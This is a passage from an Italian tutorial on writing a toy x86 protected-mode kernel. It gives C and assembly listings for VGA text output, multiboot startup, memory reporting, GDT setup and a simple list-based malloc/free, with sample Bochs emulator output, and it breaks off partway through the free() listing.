    vga_set (NULL, -1, -1, current_x, current_y, -1, -1);
}
```

Listato u10.46. '`./05/lib/vga/vga_putc.c`'

```
#include <kernel/vga.h>
void
vga_putc (int c)
{
    unsigned short int current_y = os.vga.position / os.vga.columns;
    unsigned short int current_x = os.vga.position - current_y * os.vga.columns;
    unsigned short int cell;

    if (c == '\n' || c == '\r')
      {
        vga_new_line ();
      }
    else
      {
        cell = vga_char (c, os.vga.attribute);

        *(os.vga.video + os.vga.position) = cell;

        if (current_x == os.vga.columns)
          {
            vga_new_line ();
          }
        else
          {
            vga_set (NULL, -1, -1, -1, -1, os.vga.position + 1, -1);
          }
      }
}
```

Listato u10.47. './05/lib/vga/vga_puts.c'

```
#include <kernel/vga.h>
void
vga_puts (char *string, size_t n)
{
    size_t i;
    for (i = 0; i < n ; i++)
      {
        if (string[i] == 0) break;
        if (string[i] != 0) vga_putc (string[i]);
      }
    // Non aggiunge "\n"!
}
```

Listato u10.48. './05/lib/vga/vga_vprintf.c'

```
#include <kernel/vga.h>
int
vga_vprintf (const char *restrict format, va_list arg)
{
    const size_t dim = 2000;  // Dimensione massima dello schermo: 25x80.
    char  string[dim];
    int   ret;
    string[0] = 0;
    ret = vsprintf(string, format, arg);
    vga_puts (string, dim);
    return ret;
}
```

Listato u10.49. './05/lib/vga/vga_printf.c'

```
#include <kernel/vga.h>
int
vga_printf  (const char *restrict format, ...)
{
    va_list ap;
    va_start (ap, format);
    return vga_vprintf (format, ap);
}
```

Un primo kernel di prova

Avviando il sistema con GRUB 1 o con un altro programma conforme alle specifiche *multiboot*, il kernel dovrebbe trovarsi già in un contesto funzionante in modalità protetta, utilizzando tutta la memoria in modo lineare (ovvero senza suddivisione in segmenti). Pertanto, per visualizzare qualcosa sullo schermo non è indispensabile il passare subito alla preparazione della tabella GDT, cosa che consente di verificare se i file già preparati sono corretti.

In queste sezioni vengono descritti altri file del sistema in fase di sviluppo, ma in particolare 'kernel_main.c' non è ancora nella sua impostazione definitiva, per consentire una verifica provvisoria del lavoro.

File «kernel.h»

Il file di intestazione '`kernel.h`' viene usato soprattutto per definire le funzioni principali del kernel, ma si possono notare, in coda, delle funzioni che in realtà non esistono, corrispondenti a simboli generati attraverso il «collegatore» (il *linker*). Queste funzioni fantasma servono solo per consentire l'individuazione degli indirizzi rispettivi, così da sapere come è disposto in memoria il kernel.

Listato u10.50. '`./05/include/kernel/kernel.h`'

```
#ifndef _KERNEL_H
#define _KERNEL_H       1

#include <restrict.h>
#include <kernel/multiboot.h>
#include <kernel/os.h>
//
// Funzioni principali da cui inizia l'esecuzione del kernel.
//
void kernel_boot        (void);
void kernel_main        (unsigned long magic, multiboot_t *info);
void kernel_memory      (multiboot_t *info);
void kernel_memory_show (void);
//
// Simboli di riferimento inseriti dallo script di LD (linker script).
// Vengono dichiarate qui come funzioni, solo per comodità, ma servono
// solo per individuare le posizioni utilizzate dal kernel nella memoria
// fisica, così da poter costruire poi una tabella GDT decente.
//
void k_mem_total_s  (void);
void k_mem_text_s   (void);
void k_mem_text_e   (void);
void k_mem_rodata_s (void);
void k_mem_rodata_e (void);
void k_mem_data_s   (void);
void k_mem_data_e   (void);
void k_mem_bss_s    (void);
void k_mem_bss_e    (void);
void k_mem_total_e  (void);

#endif
```

La funzione ***kernel_boot()*** è quella responsabile dell'avvio ed è scritta necessariamente in linguaggio assemblatore. Si trova contenuta nel file '`kernel_boot.s`', assieme alla dichiarazione dell'impronta di riconoscimento *multiboot* e alla collocazione dello spazio usato per la pila dei dati (l'unica pila che questo piccolo sistema utilizzi). È attraverso la configurazione del collegatore, nel file '`linker.ld`', che viene specificato di partire con la funzione ***kernel_boot()***.

Listato u10.51. ‘./05/kernel/kernel_boot.s’

```
.extern kernel_main
#
.globl  kernel_boot
#
# Dimensione della pila interna al kernel. Qui vengono previsti
# 32768 byte (0x8000 byte).
#
.equ STACK_SIZE,  0x8000
#
# Si inizia subito con il codice che si mescola con i dati;
# pertanto si deve saltare alla procedura che deve predisporre
# la pila e avviare il kernel scritto in C.
#
kernel_boot:
    jmp start
#
# Per collocare correttamente i dati che si trovano dopo l'istruzione
# di salto, si fa in modo di riempire lo spazio mancante al
# completamento di un blocco di 4 byte.
#
.align 4
#
# Intestazione «multiboot» che deve apparire poco dopo l'inizio
# del file-immagine.
#
multiboot_header:
    .int 0x1BADB002                     # magic
    .int 0x00000003                     # flags
    .int -(0x1BADB002 + 0x00000003)     # checksum
#
# Inizia il codice di avvio.
#
start:
    #
    # Regola ESP alla base della pila.
    #
    movl $(stack_max + STACK_SIZE), %esp
    #
    # Azzera gli indicatori contenuti in EFLAGS, ma per questo deve
    # usare la pila appena sistemata.
    #
    pushl $0
    popf
    #
    # Chiama la funzione principale scritta in C, passandogli le
    # informazioni ottenute dal sistema di avvio.
    #
    # void kernel_main (unsigned int magic, void *multiboot_info)
    #
```

```
    pushl %ebx          # Puntatore alla struttura contenente le
                        # informazioni passate dal sistema di avvio.
    pushl %eax          # Codice di riconoscimento del sistema di avvio.
    #
    call kernel_main    # Chiama la funzione kernel().
#
# Procedura di arresto.
#
halt:
    hlt                 # Se il kernel termina, ferma il microprocessore.
    jmp halt            # Se il microprocessore viene sbloccato, si
                        # ripete il comando HLT.
#
# Alla fine viene collocato lo spazio per la pila dei dati,
# senza inizializzarlo. Per scrupolo si allinea ai 4 byte (32 bit).
#
.align 4
.comm stack_max, STACK_SIZE
```

La funzione ***kernel_main()*** (avviata da ***kernel_boot()***) che viene mostrata nel listato successivo, non è ancora nella sua forma definitiva: per il momento si limita alla visualizzazione delle informazioni ***multiboot*** e allo stato della memoria utilizzata.

Listato u10.52. Prima versione del file '`./05/kernel/kernel_main.c`'

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
void
kernel_main (unsigned long magic, multiboot_t *info)
{
    //
    // Inizializza i dati relativi alla gestione dello schermo VGA,
    // quindi ripulisce lo schermo.
    //
    vga_init ();
    clear ();
    //
    // Data e orario di compilazione.
    //
    printf ("05 %s\n", BUILD_DATE);
    //
    // Cerca le informazioni «multiboot».
    //
    if (magic == 0x2BADB002)
      {
        //
        // Salva e mostra le informazioni multiboot.
        //
```

```
        mboot_info (info);
        mboot_show ();
        //
        // Raccoglie i dati sulla memoria fisica.
        //
        kernel_memory (info);
        //
        // Omissis.
        //
      }
    else
      {
        printf ("[%s] no \"multiboot\" header!\n", __func__);
      }
    //
    printf ("[%s] system halted\n", __func__);
    _Exit (0);
}
```

I listati successivi, relativi alle funzioni ***kernel_memory()*** e ***kernel_memory_show()***, sono nel loro stato definitivo.

Listato u10.53. '`./05/kernel/kernel_memory.c`'

```
#include <kernel/kernel.h>
#include <stdio.h>
void
kernel_memory (multiboot_t *info)
{
    //
    // Imposta valori conosciuti o predefiniti.
    //
    os.mem_ph.total_s     = (uint32_t) &k_mem_total_s;
    os.mem_ph.total_e     = (uint32_t) &k_mem_total_e;
    os.mem_ph.available_s = (uint32_t) &k_mem_total_e;
    os.mem_ph.available_e = (uint32_t) &k_mem_total_e+0x0FFFFF; // 1 Mibyte.
    //
    os.mem_ph.k_text_s   = (uint32_t) &k_mem_text_s;
    os.mem_ph.k_text_e   = (uint32_t) &k_mem_text_e;
    os.mem_ph.k_rodata_s = (uint32_t) &k_mem_rodata_s;
    os.mem_ph.k_rodata_e = (uint32_t) &k_mem_rodata_e;
    os.mem_ph.k_data_s   = (uint32_t) &k_mem_data_s;
    os.mem_ph.k_data_e   = (uint32_t) &k_mem_data_e;
    os.mem_ph.k_bss_s    = (uint32_t) &k_mem_bss_s;
    os.mem_ph.k_bss_e    = (uint32_t) &k_mem_bss_e;
    //
    if ((info->flags & 1) > 0)
      {
        os.mem_ph.available_e = 1024 * info->mem_upper;
      }
```

```
    //
    os.mem_ph.total_l = os.mem_ph.available_e / 0x1000;
    //
    kernel_memory_show ();
}
```

Listato u10.54. '`./05/kernel/kernel_memory_show.c`'

```
#include <kernel/kernel.h>
#include <stdio.h>
void
kernel_memory_show (void)
{
    //
    printf ("[%s] kernel %08" PRIX32 "..%08" PRIX32
            "  avail. %08" PRIX32 "..%08" PRIX32 "\n",
                  __func__,
                  os.mem_ph.total_s,
                  os.mem_ph.total_e,
                  os.mem_ph.available_s,
                  os.mem_ph.available_e);
    //
    printf ("[%s] text   %08" PRIX32 "..%08" PRIX32
            "  rodata %08" PRIX32 "..%08" PRIX32 "\n",
                  __func__,
                  os.mem_ph.k_text_s,
                  os.mem_ph.k_text_e,
                  os.mem_ph.k_rodata_s,
                  os.mem_ph.k_rodata_e);
    //
    printf ("[%s] data   %08" PRIX32 "..%08" PRIX32
            "  bss    %08" PRIX32 "..%08" PRIX32 "\n",
                  __func__,
                  os.mem_ph.k_data_s,
                  os.mem_ph.k_data_e,
                  os.mem_ph.k_bss_s,
                  os.mem_ph.k_bss_e);
    //
    printf ("[%s] limit  %08" PRIX32 "\n",
                  __func__,
                  os.mem_ph.total_l);
}
```

Altri file mancanti

Nella descrizione della libreria che fa capo al file di intestazione '`stdlib.h`', è stata omessa la funzione ***_Exit()*** che ora è indispensabile precisare, essendo usata dalla funzione ***kernel_main()***. In pratica si esegue semplicemente un ciclo senza fine, cercando però di sospendere il funzionamento del microprocessore, fino a quando si verifica un'interruzione.

Listato u10.55. '`./05/lib/_Exit.s`'

```
.globl _Exit
#
_Exit:
    enter $0, $0
    .equ status,  8         # Primo argomento.
    mov  status(%ebp), %eax # Copia il valore da restituire in EAX,
                            # anche se poi non se ne fa nulla.
    leave
    #
halt:
    hlt                 # Ferma il microprocessore.
    jmp halt            # Se il microprocessore viene sbloccato, si
                        # ripete il comando HLT.
```

Compilazione e prova di funzionamento

Prima di procedere alla compilazione con lo script '**`compile`**' (o direttamente con '**`makeit`**'), occorre verificare che la variabile di ambiente '**`TAB`**' sia dichiarata correttamente nello script '**`makeit`**', in modo da contenere esattamente un carattere di tabulazione orizzontale (diversamente i file-make non verrebbero creati nel modo giusto). Inoltre occorre avere preparato il file-immagine del dischetto e averlo innestato nella directory '`/mnt/fd0/`' (diversamente occorre modificare sempre lo script '**`makeit`**'). Quando tutto sembra pronto, basta avviare lo script '**`bochs`**' (da una finestra di terminale, durante una sessione grafica di lavoro con X) per far partire il sistema giocattolo in prova. Se tutto va bene, viene visualizzato il testo seguente e poi tutto si ferma; se invece si presenta un errore, il simulatore Bochs riavvia e si riparte con GRUB 1.

```
05 20070818140007
[mboot_show] flags: 00000000000000000000011111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
[kernel_memory_show] kernel 00100000..0010BAFC  avail. 0010BAFC..01EF0000
[kernel_memory_show] text   00100000..00102FEC  rodata 00102FEC..00103144
[kernel_memory_show] data   00103144..00103144  bss    00103160..0010BAFC
[kernel_memory_show] limit  00001EF0
[kernel_main] system halted
```

Dall'esempio mostrato si può determinare quanto segue: la memoria bassa arriva fino a $27F_{16}$ Kibyte (639 Kibyte); la memoria alta arriva fino a $7BC0_{16}$ Kibyte (31 680 Kibyte); il kernel utilizza la memoria da 100000_{16} byte (1 024 Kibyte) a $10BAFC_{16}$ byte (1 070 Kibyte circa); pertanto la parte rimanente è tutta memoria libera.

Con questi dati, nel prossimo gruppo di sezioni viene preparata una tabella GDT minima, con la quale si definisce solo la memoria esistente effettivamente.

Tabella GDT

La preparazione di una tabella GDT è indispensabile per poter accedere alla memoria in modalità protetta. Nel sistema in corso di realizzazione si intende usare la memoria in modo lineare, senza segmentazioni e senza pagine, pertanto si compila la tabella GDT con il minimo indispensabile, avendo cura di indicare in modo preciso la memoria esistente effettivamente.

Struttura

Nel file di intestazione '`os.h`' è già stata predisposta la struttura che facilita la compilazione e l'interpretazione dei descrittori della tabella GDT. In particolare viene usata un'unione, con due suddivisioni alternative: una per i descrittori di segmento codice o dati e l'altra per i descrittori di sistema. Per il lavoro in corso di realizzazione, i descrittori di sistema non vengono utilizzati, pertanto è sufficiente concentrarsi sulla struttura '**`os.gdt[`*n*`].cd`**':

```
…
    union {
        struct {
            uint32_t  limit_a              : 16,
                      base_a               : 16;
            uint32_t  base_b               : 8,
                      accessed             : 1,
                      write_execute        : 1,
                      expansion_conforming : 1,
                      code_or_data         : 1,
                      code_data_or_system  : 1,
                      dpl                  : 2,
                      present              : 1,
                      limit_b              : 4,
                      available            : 1,
                      reserved             : 1,
                      big                  : 1,
                      granularity          : 1,
                      base_c               : 8;
        } cd;
        struct {
            …
            …
        } system;
    } gdt[3];
…
```

Libreria «gdt.h»

Il file di intestazione '`gdt.h`' contiene la dichiarazione delle funzioni che riguardano la gestione della tabella GDT.

Listato u10.58. '`./05/include/kernel/gdt.h`'

```
#ifndef _GDT_H
#define _GDT_H  1

#include <inttypes.h>
#include <stdbool.h>
#include <kernel/os.h>

void gdt_desc_seg (int           descriptor,
                   uint32_t      base,
                   uint32_t      limit,
                   bool          present,
                   bool          granularity,
                   bool          code,
                   bool          write_execute,
                   bool          expand_down_non_conforming,
                   unsigned char dpl);
void gdt_print      (void *gdtr);
void gdt_load       (void *gdtr);
void gdt            (void);

#endif
```

La funzione ***gdt_desc_seg()*** serve a facilitare la compilazione di un descrittore della tabella; la funzione ***gdt_print()*** consente di visualizzare il contenuto della tabella, partendo dal contenuto del registro ***GDTR***, indipendentemente da altre informazioni; la funzione ***gdt_load()*** fa in modo che il microprocessore utilizzi il contenuto della tabella GDT; la funzione ***gdt()***, avvalendosi delle altre funzioni già citate, crea la tabella minima richiesta, ne mostra il contenuto e la attiva.

Listato u10.59. '`./05/lib/gdt/gdt_desc_seg.c`'

```
#include <kernel/gdt.h>
#include <stdio.h>
void
gdt_desc_seg (int           desc,
              uint32_t      base,
              uint32_t      limit,
              bool          present,
              bool          granularity,
              bool          code,
              bool          write_execute,
              bool          expand_down_non_conforming,
              unsigned char dpl)
```

```
{
    //
    // Verifica di non eccedere la dimensione dell'array.
    //
    int max = ((sizeof (os.gdt)) / 8) - 1;
    if (desc > max)
      {
        printf ("[%s] ERROR: selected descriptor %i when max is %i!\n",
                __func__, desc, max);
        return;
      }
    //
    // Limite.
    //
    os.gdt[desc].cd.limit_a = (limit & 0x0000FFFF);
    os.gdt[desc].cd.limit_b = limit / 0x10000;
    //
    // Indirizzo base.
    //
    os.gdt[desc].cd.base_a = (base & 0x0000FFFF);
    os.gdt[desc].cd.base_b = ((base / 0x10000) & 0x000000FF);
    os.gdt[desc].cd.base_c = (base / 0x1000000);
    //
    // Attributi.
    //
    os.gdt[desc].cd.accessed             = 0;
    os.gdt[desc].cd.write_execute        = write_execute;
    os.gdt[desc].cd.expansion_conforming = expand_down_non_conforming;
    os.gdt[desc].cd.code_or_data         = code;
    os.gdt[desc].cd.code_data_or_system  = 1;
    os.gdt[desc].cd.dpl                  = dpl;
    os.gdt[desc].cd.present              = present;
    os.gdt[desc].cd.available            = 0;
    os.gdt[desc].cd.reserved             = 0;
    os.gdt[desc].cd.big                  = 1;
    os.gdt[desc].cd.granularity          = granularity;
}
```

Listato u10.60. '`./05/lib/gdt/gdt_print.c`'

```
#include <kernel/gdt.h>
#include <stdio.h>
//
// Mostra il contenuto di una tabella GDT, a partire dal puntatore al
// registro GDTR in memoria. Pertanto non si avvale, volutamente, della
// struttura già predisposta con il linguaggio C, mentre «gdtr_t» viene
// creato qui solo provvisoriamente, per uso interno. Ciò serve ad
// assicurare che questa funzione compia il proprio lavoro in modo
// indipendente, garantendo la visualizzazione di dati reali.
```

```
//
typedef struct {
    uint16_t  limit;
    uint32_t  base;
} __attribute__ ((packed)) local_gdtr_t;
//
void
gdt_print (void *gdtr)
{
    local_gdtr_t *g = gdtr;
        uint32_t *p = (uint32_t *) g->base;

    int max = (g->limit + 1) / (sizeof (uint32_t));
    int i;

    printf ("[%s] base: 0x%08" PRIX32 " limit: 0x%04" PRIX32 "\n",
             __func__, g->base, g->limit);

    for (i = 0; i < max; i+=2)
      {
        printf ("[%s] %" PRIx32 " %032" PRIb32 " %032" PRIb32 "\n",
                 __func__, i/2, p[i], p[i+1]);
      }
}
```

Listato u10.61. '`./05/lib/gdt/gdt_load.s`'

```
.globl  gdt_load
#
gdt_load:
    enter $0, $0
    .equ gdtr_pointer,  8          # Primo argomento.
    mov  gdtr_pointer(%ebp), %eax  # Copia il puntatore in EAX.
    leave
    #
    lgdt (%eax)          # Carica il registro GDTR dall'indirizzo in EAX.
    #
    # 2 dati per il kernel, DPL 0, comprendente tutta la memoria
    #   disponibile: selettore 0x10+0.
    #
    mov  $0x10, %ax
    mov  %ax,   %ds
    mov  %ax,   %es
    mov  %ax,   %fs
    mov  %ax,   %gs
    mov  %ax,   %ss
    #
    # 1 codice per il kernel, DPL 0, comprendente tutta la memoria
```

```
    #   disponibile: selettore 0x08+0.
    #
    jmp  $0x08, $flush
flush:
    ret
```

Listato u10.62. './05/lib/gdt/gdt.c'

```
#include <kernel/gdt.h>
void
gdt (void)
{
    //
    // Imposta i dati necessari al registro GDTR.
    //
    os.gdtr.limit = (sizeof (os.gdt) - 1);
    os.gdtr.base  = (uint32_t) &os.gdt[0];
    //
    // Azzera le voci previste dell'array «os.gdt[]».
    // La prima di queste voci (0) rimane azzerata e non deve
    // essere utilizzata.
    //
    int i;
    for (i = 0; i < ((sizeof (os.gdt)) / 8); i++)
      {
        gdt_desc_seg (i, 0, 0, 0, 0, 0, 0, 0, 0);
      }
    //
    // 1 codice per il kernel, DPL 0, comprendente tutta la memoria
    //   disponibile: selettore 0x08+0.
    //
    gdt_desc_seg (1, 0,
                  os.mem_ph.total_l, 1, 1, 1, 1, 0, 0);
    //
    // 2 dati per il kernel, DPL 0, comprendente tutta la memoria
    //   disponibile: selettore 0x10+0.
    //
    gdt_desc_seg (2, 0,
                  os.mem_ph.total_l, 1, 1, 0, 1, 0, 0);
    //
    // Mostra la tabella GDT e poi la carica.
    //
    gdt_print (&os.gdtr);
    gdt_load  (&os.gdtr);
}
```

Modifiche da apportare a «kernel_main.c»

Nel file ‘`kernel_main.c`’ va aggiunta l’incorporazione del file ‘`gdt.h`’ e la chiamata alla funzione ***gdt()***:

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
#include <kernel/gdt.h>
...
        //
        // Raccoglie i dati sulla memoria fisica.
        //
        kernel_memory (info);
        //
        // Predispone la tabella GDT.
        //
        gdt ();
...
```

Una volta ricompilato il lavoro e avviato con Bochs, si deve ottenere una schermata simile a quella seguente:

```
05 20070819115151
[mboot_show] flags: 00000000000000000000001111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
[kernel_memory_show] kernel 00100000..0010BF7C  avail. 0010BF7C..01EF0000
[kernel_memory_show] text   00100000..00103418  rodata 00103418..001035FC
[kernel_memory_show] data   001035FC..001035FC  bss    00103600..0010BF7C
[kernel_memory_show] limit  00001EF0
[gdt_print] base: 0x0010B648 limit: 0x0017
[gdt_print] 0 00000000000000000000000000000000 00000000100000000010000000000000
[gdt_print] 1 00000000000000000001111011110000 00000000110000001001101000000000
[gdt_print] 2 00000000000000000001111011110000 00000000110000001001001000000000
[kernel_main] system halted
```

Gestione della memoria

Nel sistema in corso di realizzazione non si intende gestire la memoria in modo sofisticato; in particolare non si vogliono usare né segmenti, né pagine. In pratica, lo spazio che rimane dopo l’intervallo usato dal kernel viene gestito con una lista e sulla base di questa impostazione vengono realizzate le funzioni ‘...**`alloc()`**’ e ***free()***.

Gestione della memoria attraverso una lista

Si intende gestire l'allocazione di memoria attraverso una lista in cui l'inizio di un blocco di memoria contenga il riferimento al blocco successivo e l'indicazione se il proprio sia un blocco libero o utilizzato; pertanto, come si vede nella figura, l'ultimo blocco punta al primo.

Figura u10.65. Lista di blocchi di memoria.

L'intestazione dei blocchi di memoria, con la quale si fa riferimento al blocco successivo e si annota se il blocco (proprio) è impegnato o meno, utilizza solo 32 bit, partendo dal presupposto che i blocchi di memoria debbano essere multipli di tale valore. A tale proposito si osservi che se i blocchi di memoria sono da 4 byte, gli indirizzi sono sempre multipli di quattro, ovvero di 100_2. Pertanto, i due bit meno significativi possono essere utilizzati per altri fini.

Figura u10.66. Struttura dell'intestazione dei blocchi di memoria.

Sulla base del principio affermato e di quanto si vede nella figura, l'indirizzo effettivo del blocco successivo si determina moltiplicando per quattro il valore annotato tra il bit 2 e il bit 31 dell'intestazione. Si osservi che l'indirizzo in questione è quello dell'inizio dell'intestazione del blocco successivo, pertanto il blocco di memoria successivo inizia effettivamente dopo altri quattro byte.

Quando la memoria viene inizializzata si crea un blocco solo, la cui intestazione punta a se stessa, come si vede nella figura successiva. Da questo si comprende anche che il blocco che punta a se stesso è lungo fino alla fine dello spazio di memoria disponibile complessivamente; inoltre si intende che con questo meccanismo, molto semplice, la memoria possa essere gestita solo se è presente in modo continuo. Questa semplificazione è stata fatta volutamente per non complicare inutilmente il codice; d'altra parte si osserva che così la «memoria bassa» (quella dei primi 640 Kibyte) non venga usata affatto.

Figura u10.67. La lista al momento iniziale.

Libreria «mm.h»

Il file di intestazione '`mm.h`' descrive la struttura usata per interpretare i primi 32 bit dei blocchi di memoria (per distinguere l'indirizzo successivo dall'indicazione dello stato del blocco attuale) e dichiara due funzioni per inizializzare la memoria e per leggerne la mappa.

Listato u10.68. '`./05/include/kernel/mm.h`'

```
#ifndef _MM_H
#define _MM_H 1

#include <restrict.h>
#include <stdint.h>
#include <inttypes.h>
#include <stddef.h>
#include <stdarg.h>
#include <kernel/os.h>

//
// La dimensione di «uintptr_t» condiziona la struttura «mm_head_t»
// e la dimensione delle unità minime di memoria allocata. «uintptr_t»
// è da 32 bit, così l'immagine del kernel è allineata a blocchi da
// 32 bit e così deve essere anche per gli altri blocchi di memoria.
// Essendo i blocchi di memoria multipli di 32 bit, gli indirizzi
// sono sempre multipli di 4 (4 byte); pertanto, servono solo 30 bit
// per rappresentare l'indirizzo, che poi viene ottenuto
// moltiplicandolo per quattro.
// Di conseguenza, il bit meno significativo viene usato
// per annotare se il blocco di memoria è libero e il bit successivo
// non viene usato. Questo meccanismo potrebbe essere usato anche
// con un indirizzamento a 16 bit, dove servirebbero 15 bit per
// indirizzi multipli di due byte.
//
typedef struct {
    uintptr_t allocated : 1,
              filler    : 1,
              next      : 30;
} mm_head_t;

void mm_init (void);
void mm_list (void);

#endif
```

La funzione ***mm_init()*** inizializza la memoria, creando un blocco libero che la descrive completamente. Per sapere dove inizia e dove finisce la memoria disponibile, si avvale delle informazioni contenute nella variabile strutturata ***os.mem_ph***, le quali sono state inserite precedentemente dalla funzione ***kernel_memory()***(listato u10.53)

Listato u10.69. '`./05/lib/mm/mm_init.c`'

```
#include <kernel/mm.h>
#include <stdio.h>
void
mm_init (void)
{
    uintptr_t  start = os.mem_ph.available_s;
    mm_head_t *head;
       size_t  available = os.mem_ph.available_e - os.mem_ph.available_s;
    //
    // La memoria disponibile deve essere di almeno 8 byte!
    //
    if (available < ((sizeof (mm_head_t)) * 2))
      {
        //
        // Il sistema viene fermato!
        //
        printf ("[%s] ERROR: not enough memory: %zu byte!\n",
                __func__, available);
        _Exit (0);
      }
    //
    // Predispone il nodo principale della lista.
    //
    head = (mm_head_t *) start;
    //
    // Inizializza il primo blocco, libero, che punta a se stesso,
    // essendo l'unico.
    //
    head->allocated = 0;
    head->next      = (start / (sizeof (mm_head_t)));
    //
    // Mostra come è andata.
    //
    printf ("[%s] available memory: %zu byte\n",
            __func__, available - (sizeof (mm_head_t)));
    //
    return;
}
```

La funzione ***mm_list()*** mostra la mappa della memoria gestita attraverso le funzioni '...**`alloc()`**'. Gli indirizzi che vengono forniti sono quelli di inizio dei blocchi, escludendo lo spazio utilizzato dalle intestazioni (pertanto, se l'intestazione inizia all'indirizzo ***n***, viene mostrato l'indirizzo ***n***+4).

Listato u10.70. './05/lib/mm/mm_list.c'

```
#include <kernel/mm.h>
#include <stdio.h>
void mm_list (void)
{
    uintptr_t  start = os.mem_ph.available_s;
    mm_head_t *head  = (void *) start;
       size_t  actual_size;
    uintptr_t  current;
    uintptr_t  next;
    uintptr_t  up_to;
          int  counter;
    //
    // Scandisce la lista di blocchi di memoria.
    //
    counter = 2;
    while (counter)
      {
        //
        // Annota la posizione attuale e quella successiva.
        //
        current = (uintptr_t) head;
           next = head->next * (sizeof (mm_head_t));
        if (next == start)
          {
            up_to = os.mem_ph.available_e;
          }
        else
          {
            up_to = next;
          }
        //
        // Se è stato raggiunto il primo elemento, decrementa il
        // contatore di una unità. Se è già a zero, esce.
        //
        if (current == start)
          {
            counter--;
            if (counter == 0) break;
          }
        //
        // Determina la dimensione del blocco attuale.
        //
        if (current == start && next == start)
          {
            //
            // Si tratta del primo e unico elemento della lista.
            //
            actual_size = os.mem_ph.available_e - (sizeof (mm_head_t));
```

```
          }
        else
          {
            actual_size = up_to - current - (sizeof (mm_head_t));
          }
        //
        // Si mostra lo stato del blocco di memoria.
        //
        if (head->allocated)
          {
            printf ("[%s] used %08X..%08X size %08zX\n",
                    __func__,
                    current + (sizeof (mm_head_t)), up_to, actual_size);
          }
        else
          {
            printf ("[%s] free %08X..%08X size %08zX\n",
                    __func__,
                    current + (sizeof (mm_head_t)), up_to, actual_size);
          }
        //
        // Si passa alla posizione successiva.
        //
        head = (void *) next;
      }
}
```

Funzioni per l'allocazione della memoria

La funzione ***malloc()*** esegue una scansione della mappa della memoria, alla ricerca del primo blocco di dimensione sufficiente a soddisfare la richiesta ricevuta (*first fit*). Una volta trovato, se il blocco libero è abbastanza grande, lo divide, in modo da utilizzare solo lo spazio richiesto. Gli spazi allocati sono sempre multipli della dimensione di '**`mm_head_t`**', pertanto, se necessario, si alloca uno spazio leggermente più grande del richiesto.

Listato u10.71. '`./05/lib/malloc.c`'

```
#include <stdlib.h>
#include <kernel/mm.h>
void
*malloc (size_t size)
{
    uintptr_t  start = os.mem_ph.available_s;
    mm_head_t *head  = (void *) start;
       size_t  actual_size;
    uintptr_t  current;
    uintptr_t  next;
    uintptr_t  new;
    uintptr_t  up_to;
```

```
      int   counter;
  //
  // Arrotonda in eccesso il valore di «size», in modo che sia un
  // multiplo della dimensione di «mm_head_t». Altrimenti, la
  // collocazione dei blocchi successivi può avvenire in modo
  // non allineato.
  //
  size = (size + (sizeof (mm_head_t)) -1);
  size = size / (sizeof (mm_head_t));
  size = size * (sizeof (mm_head_t));
  //
  // Cerca un blocco libero di dimensione sufficiente.
  //
  counter = 2;
  while (counter)
    {
      //
      // Annota la posizione attuale e quella successiva.
      //
      current = (uintptr_t) head;
         next = head->next * (sizeof (mm_head_t));
      //
      if (next == start)
        {
          up_to = os.mem_ph.available_e;
        }
      else
        {
          up_to = next;
        }
      //
      // Se è stato raggiunto il primo elemento, decrementa il
      // contatore di una unità. Se è già a zero, esce.
      //
      if (current == start)
        {
          counter--;
          if (counter == 0) break;
        }
      //
      // Controlla se si tratta di un blocco libero.
      //

      if (! head->allocated)
        {
          //
          // Il blocco è libero: si deve determinarne la dimensione.
          //
          if (current == start && next == start)
```

```
          {
            //
            // Si tratta del primo e unico elemento della lista.
            //
            actual_size = os.mem_ph.available_e - (sizeof (mm_head_t));
          }
        else
          {
            actual_size = up_to - current - (sizeof (mm_head_t));
          }
        //
        // Si verifica che sia capiente.
        //
        if (actual_size >= size + ((sizeof (mm_head_t)) * 2))
          {
            //
            // C'è spazio per dividere il blocco.
            //
            new = current + size + (sizeof (mm_head_t));
            //
            // Aggiorna l'intestazione attuale.
            //
            head->allocated = 1;
            head->next = new / (sizeof (mm_head_t));
            //
            // Predispone l'intestazione successiva.
            //
            head = (void *) new;
            head->allocated = 0;
            head->next = next / (sizeof (mm_head_t));
            //
            // Restituisce l'indirizzo iniziale dello spazio libero,
            // successivo all'intestazione.
            //
            return (void *) (current + (sizeof (mm_head_t)));
          }
        else if (actual_size >= size)
          {
            //
            // Il blocco va usato per intero.
            //
            head->allocated = 1;
            //
            // Restituisce l'indirizzo iniziale dello spazio libero,
            // successivo all'intestazione.
            //
            return (void *) (current + (sizeof (mm_head_t)));
          }
      }
```

```
        //
        // Il blocco è allocato, oppure è di dimensione insufficiente;
        // pertanto occorre passare alla posizione successiva.
        //
        head = (void *) next;
      }
    //
    // Essendo terminato il ciclo precedente, vuol dire
    // che non ci sono spazi disponibili.
    //
    return NULL;
}
```

La funzione ***free()*** libera il blocco di memoria indicato e poi scandisce tutti i blocchi esistenti alla ricerca di quelli liberi che sono adiacenti, per fonderli assieme. Va osservato che la funzione non verifica se il blocco da liberare esiste effettivamente e per evitare errori occorrerebbe una scansione preventiva dei blocchi, a partire dall'inizio.

Listato u10.72. '`./05/lib/free.c`'

```
#include <stdlib.h>
#include <kernel/mm.h>
#include <stdio.h>
void
free (void *ptr)
{
    mm_head_t *start        = (mm_head_t *) os.mem_ph.available_s;
    mm_head_t *head_current = ((mm_head_t *) ptr) - 1;
    mm_head_t *head_next;
    //
    // Verifica il blocco attuale e, se è possibile, lo libera.
    //
    if (head_current->allocated == 1)
      {
        head_current->allocated = 0;
      }
    else
      {
        printf ("[%s] ERROR: cannot free %08X!\n",
                __func__, (uintptr_t) head_current + (sizeof (mm_head_t)));
      }
    //
    // Scandisce i blocchi liberi, cercando quelli adiacenti per
    // allungarli. Se il blocco successivo è il primo, termina,
    // perché non può avvenire alcuna fusione con quello precedente.
    //
    head_current = start;
    while (true)
      {
        //
        // Individua il blocco successivo.
```

```
        //
        head_next = (mm_head_t *) (head_current->next * (sizeof (mm_head_t)));
        //
        // Controlla se è il primo.
        //
        if (head_next == start)
          {
            break;
          }
        //
        //
        //
        if (head_current->allocated == 0)
          {
            //
            // Controlla se si può espandere.
            //
            if (head_next->allocated == 0)
              {
                head_current->next = head_next->next;
              }
            else
              {
                head_current = head_next;
              }
          }
        else
          {
            head_current = (mm_head_t *)
